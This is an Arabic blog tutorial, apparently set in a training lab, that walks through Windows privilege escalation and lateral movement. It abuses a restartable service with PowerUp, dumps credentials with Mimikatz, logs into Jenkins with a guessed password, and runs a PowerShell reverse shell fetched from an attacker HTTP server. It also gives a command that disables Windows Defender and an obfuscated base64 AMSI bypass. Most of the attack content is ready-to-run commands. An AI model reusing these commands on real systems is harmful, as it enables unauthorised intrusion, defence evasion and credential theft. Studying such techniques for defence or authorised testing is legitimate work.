Privilege Escalation And Lateral Movement Part 1
السلام عليكم ورحمة الله وبركاته
الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:
مقدمة:
في هذي المقالة راح نشرح كيفية رفع الصلاحية الى Administrator على الجهاز المتواجدين عليه عن طريق اداة Power Up فكرة الاداة هذي تسوي Automation لطرق رفع الصلاحيات وراح نشرح ايش الفايدة من رفع الصلاحية
من ثم راح ننتقل من جهاز الى جهاز مرتبط بالدومين الى مانوصل الى الدومين كنترولر
تنويه: شرحت في مقالات سابقة طرق كثيرة الى رفع الصلاحيات على الوندوز و هذي المقالة راح تكون اكثر من جزء
الشرح:
راح نبدا في المقالة بعد مانسوي Load للسكربت في الميموري عشان نتخطى ال Windows Defender وايضا بعد تخطي ال AMSI وانا شرحت طرق التخطي هذي في المقالة الاولى
المقالة الاولى
هذا الامر راح يسوي Enumerate لطرق رفع الصلاحية على النظام
Invoke-AllChecks
نلاحظ ان في ملعومات كثير ظهرت لنا بس اللي يهمنا حقل Service Name و CanRestart طبعا ظهرت لنا خدمتين مصابة وهي:
1 - AbyssWebServer
2 - gupdate
بس في هنا نقطة مهمة لو نلاحظ حقل CanRestart بالنسبة لخدمة gupdate قيمتها False ف ماراح ينفع نستغلها لان مانقدر نسوي لها Restart
اما بالنسبة لخدمة AbyssWebServer نلاحظ انه حقل CanRestart قيمته True ف هذا يعني يمكننا استغلالها :)
هذا الامر تعطيه اسم السيرفس واسم المستخدم اللي تبيه يرفع صلاحيته الى Administrator
طبعا اسم المستخدم اللي انا داخل فيه student
Invoke-ServiceAbuse -Name "AbyssWebServer" -UserName "dcorp\student407"
الان رفعنا صلاحياتنا الى Administrator على الجهاز اللي نحن داخلين فيه كل اللي علينا نسوي Logoff بعدين Logon
طيب ايش راح نستفيد من رفع الصلاحيات؟
راح نقدر نشغل اداة Mimikatz هذي الاداة فكرتها انها راح تسحب الباسوردات المخزنة في الميموري وهذي الاداة اصلا ماتشتغل الا بصلاحية Administrator
الان راح نشغل PowerShell بصلاحية Administrator ونشغل اداة Mimikatz
هذا الامر في اداة Mimikatz راح يستخرج لنا الباسوردات المخزنة في الميموري
sekurlsa::logonpasswords
بس نلاحظ انه ماظهرنا باسورد لمستخدم معين فقط الباسورد الخاص في المستخدم اللي انا فيه ايش الحل :(
الان راح اسوي Port Scan للاجهزة اللي موجودة على الشبكة عن طريق Nmap بالامر هذا
nmap -sV 172.16.3.0/24 -PS
نلاحظ انه ظهر لنا ايبي موجود عليه عدة بورتات مفتوحة اول شي راح اشيك على بورت ال http نشوف هل مركب عليه cms وهذا ال cms له استغلال
نلاحظ انه عليه CMS اسمه jenkins بعد ماقرات عنه طلع يقوم على اتمتة البرمجيات وتكاملها وانه اذا كان عندك صلاحيات Project Manager راح تقدر تجيب Reverse Shell على الجهاز
لو نلاحظ مع بعض انه في عدد من المستخدمين موجودين على النظام مثل Manager,jenkinsadmin,builduser
راح اجرب اسجل دخول لكل مستخدم واحط الباسورد نفس اسم المستخدم الخاص فيه
طبعا بعد ماجربت المستخدم Manager و Jenkinsadmin ماسجلي دخول
اما بالنسبة للمستخدم buliduser سجل دخول معي
Username:builduser Password:builduser
طيب راح نختار اي مشروع من الموجودين في الصفحة راح اختار مثلا المشروع رقم 14
راح نروح الى خيار Configure بعد كذا ننزل الى اخر الصفحة راح نلاقي حقل يسمح لك انه تنفذ فيه اوامر على السيرفر
الان راح استخدم سكربت PowerShell عشان نجيب Reverse Shell
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
الان راح اشغل http server بالبايثون وارفع عليه ملف البورشيل عشان ننقلة الى الجهاز اللي موجود علية ال CMS
الان كل اللي علينا نفتج بورت للتنصت عن طريق PowerCat او NetCat
وننفذ هذا الامر في حقل الاوامر
powershell.exe iex (iwr http://172.16.100.7:9090/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Power -Reverse -IPAddress 172.16.100.7 -Port 889
بعدها نسوي Save ونرجع نسوي Build للمشروع
وبكذا جبنا Reverse Shell الان كل اللي علينا نشوف هل المستخدم اللي نحن عليه ضمن قروب ال Administrator او لا
زي ما انتوا شايفين نحن بصلاحية Administrator على الجهاز اللي متواجدين عليه
راح ننقل اداة Mimikatz الى الجهاز اللي مخترقينة وعندنا عليه Administrator بس قبل ننقل الملف راح نوقف ال Windows Defender عن طريق هذا الامر:
Set-MpPreference -DisableRealtimeMonitoring $true
بعد كذا راح نتخطى ال AMSI عن طريق هذا الامر:
(neW-oBJeCt iO.COMpRESsiOn.DeflAteSTrEAm([io.MemoryStREAM][coNveRT]::FrOmBAsE64StRINg( 'pZJRT9swEMff/SlOVqQmIqsyOjZENQnKpAkJWEUZe4jy4CaX1ZoTW7YzGqZ9dy5uBoWHvZAH53y+/8/3tx39kO3sED7DKWesc7L9CaveeWzmL2bTm671ssHpRevRarNC+1uW6OaMmW6tZAmlEs7BjvaHMaAv/6LURWO09TH/hbZFNTvkSRHWRpXzwtMPt0RtgeBLb+Er+qXV5VlVWXQuHrObK111ClPS2KExQyXXosFk/rbdLrWoLuXaCtvHI7p9C3attYI7aX0nFNnwWPp/FpQZPaXwfUxV9yv5QKY62Xqo1TXej5oUdOd3aWVq9U1V48LQ2F/GTxkj2Lvb3iBE4dgZi/a80JXmIV2cnOxb5KLhcADcyWmlFE9YNPa0L3h1A/vcFPhZ42RgrErRhmDR1TXaAWYIk7En0KtziJ7854MzKjlKIdt+yChhsS4iQ4il8OVm6GbRe8yLAuJsuzge6o4+DWOWhTHExyE+n5GM7u49qSb5/1/s9EpYtxGKmpsE0fD4J+fa9PFuZwKm8Nzox2TCJG7jHf8AgiRhjw==' ) , [SySteM.io.comPREssioN.CoMPReSSIONMOde]::DEcompreSS)| % { neW-oBJeCt io.sTreAMreaDER( $_ ,[TexT.eNcoDInG]::asCii)}).readtOeNd() |iEX
الان راح ننقل ملف ال Mimikatz الى الجهاز المخترق ونسويها لها Load في الميموري دايركت عن طريق هذا الامر
iex (iwr http://172.16.100.7:9090/Invoke-Mimikatz.ps1 -UseBasicParsing)
تنبيه: اداة ال Mimikatz اللي تم نلقها للجهاز المخترق صغيتها ps1 اما اللي كانت ف بداية المقالة كانت صيغتها exe طبعا كلها موجودة بموقع قيت اب
الان كل اللي علينا ننفذ هذا الامر عشان نشوف هل في باسوردات مهمة في الميموري تهمنا او لا:
Invoke-Mimikatz
نلاحظ انه مالقينا اي باسورد لمستخدم يهمنا (;
في المقالة القادمة راح نكمل على نفس السيناريو ونشوف كيف راح نتقدم في الاختراق الى مانوصل الى Domain Controller
شاكر لكم,
التعليقات (0)
لايوجد لديك حساب في عالم البرمجة؟
تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !